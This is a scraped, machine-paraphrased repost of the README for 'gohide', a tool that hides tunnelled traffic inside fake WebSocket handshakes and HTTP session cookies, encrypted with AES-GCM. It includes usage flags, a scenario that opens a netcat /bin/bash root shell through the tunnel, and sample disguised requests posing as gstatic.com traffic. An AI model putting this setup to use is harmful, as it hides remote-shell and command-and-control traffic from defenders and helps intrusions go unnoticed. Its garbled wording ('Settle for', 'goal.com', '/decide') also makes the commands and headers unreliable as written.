Friday, September 9, 2022
HomeHackerTunnel Port To Port Site visitors Over An Obfuscated Channel With AES-GCM...

Tunnel Port To Port Site visitors Over An Obfuscated Channel With AES-GCM Encryption




Tunnel port to port site visitors by way of an obfuscated channel with AES-GCM encryption.

Obfuscation Modes

  • Session Cookie HTTP GET (http-client)
  • Set-Cookie Session Cookie HTTP/2 200 OK (http-server)
  • WebSocket Handshake “Sec-WebSocket-Key” (websocket-client)
  • WebSocket Handshake “Sec-WebSocket-Settle for” (websocket-server)
  • No obfuscation, simply use AES-GCM encrypted messages (none)

AES-GCM is enabled by default for every of the choices above.

Utilization

[email protected]:/decide/gohide-dev# ./gohide -h
Utilization of ./gohide:
-f string
hear faux server -r x.x.x.x:xxxx (ip/area:port) (default "0.0.0.0:8081")
-key openssl passwd -1 -salt okay | md5sum
aes encryption secret: use '-k openssl passwd -1 -salt okay | md5sum' to derive key from password (default "5fe10ae58c5ad02a6113305f4e702d07")
-l string
hear port ahead -l x.x.x.x:xxxx (ip/area:port) (default "127.0.0.1:8080")
-m string
obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none (default "none")
-pem string
path to .pem for TLS encryption mode: default = use hardcoded key pair 'CN:goal.com', none = plaintext mode (default "default")
-r string
ahead to distant faux server -r x.x.x.x:xxxx (ip/area:port) (default "127.0.0.1:9999")

Situation

Field A – Reverse Handler.

[email protected]:/decide/gohide# ./gohide -f 0.0.0.0:8081 -l 127.0.0.1:8080 -r goal.com:9091 -m websocket-client
Native Port Ahead Listening: 127.0.0.1:8080
FakeSrv Listening: 0.0.0.0:8081

Field B – Goal.

[email protected]:/decide/gohide# ./gohide -f 0.0.0.0:9091 -l 127.0.0.1:9090 -r goal.com:8081 -m websocket-server
Native Port Ahead Listening: 127.0.0.1:9090
FakeSrv Listening: 0.0.0.0:9091

Word:
/and so on/hosts “127.0.0.1 goal.com”

Field B – Netcat /bin/bash

Field A – Netcat shopper

[email protected]:/decide/gohide# nc -v 127.0.0.1 8080
localhost [127.0.0.1] 8080 (http-alt) open
id
uid=0(root) gid=0(root) teams=0(root)
uname -a
Linux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linux
netstat -pantwu
Lively Web connections (servers and established)
tcp 0 0 127.0.0.1:39684 127.0.0.1:8081 ESTABLISHED 14334/./gohide

Obfuscation Samples

websocket-client (Field A to Field B)

  • Sec-WebSocket-Key accommodates AES-GCM encrypted content material e.g. “uname -a”.
GET /information/api/newest HTTP/1.1
Host: cdn-tb0.gstatic.com
Consumer-Agent: Mozilla/5.0 (Home windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Improve: websocket
Connection: Improve
Sec-WebSocket-Key: 6jZS+0Wg1IP3n33RievbomIuvh5ZdNMPjVowXm62
Sec-WebSocket-Model: 13

websocket-server (Field B to Field A)

  • Sec-WebSocket-Settle for accommodates AES-GCM encrypted output.
HTTP/1.1 101 Switching Protocols
Improve: websocket
Connection: Improve
Sec-WebSocket-Settle for: URrP5l0Z3NIHXi+isjuIyTSKfoP60Vw5d2gqcmI=

http-client

  • Session cookie header accommodates AES-GCM encrypted content material
GET /information/api/newest HTTP/1.1
Host: cdn-tbn0.gstatic.com
Consumer-Agent: Mozilla/5.0 (Home windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Settle for: */*
Settle for-Language: en-US,en;q=0.5
Settle for-Encoding: gzip, deflate, br
Referer: http://www.bbc.co.uk/
Connection: keep-alive
Cookie: Session=R7IJ8y/EBgCanTo6fc0fxhNVDA27PFXYberJNW29; Safe; HttpOnly

http-server

  • Set-Cookie header accommodates AES-GCM encrypted content material.
HTTP/2.0 200 OK
content-encoding: gzip
content-type: textual content/html; charset=utf-8
pragma: no-cache
server: nginx
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
cache-control: no-cache, no-store, must-revalidate
expires: Thu, 21 Nov 2019 01:07:15 GMT
date: Thu, 21 Nov 2019 01:07:15 GMT
content-length: 30330
differ: Settle for-Encoding
X-Firefox-Spdy: h2
Set-Cookie: Session=gWMnQhh+1vkllaOxueOXx9/rLkpf3cmh5uUCmHhy; Safe; Path=/; HttpOnly

none

8JWxXufVora2FNa/8m2Vnub6oiA2raV4Q5tUELJA

 

 

Future

Get pleasure from~



RELATED ARTICLES

LEAVE A REPLY

Please enter your comment!
Please enter your name here

- Advertisment -
Google search engine

Most Popular

Recent Comments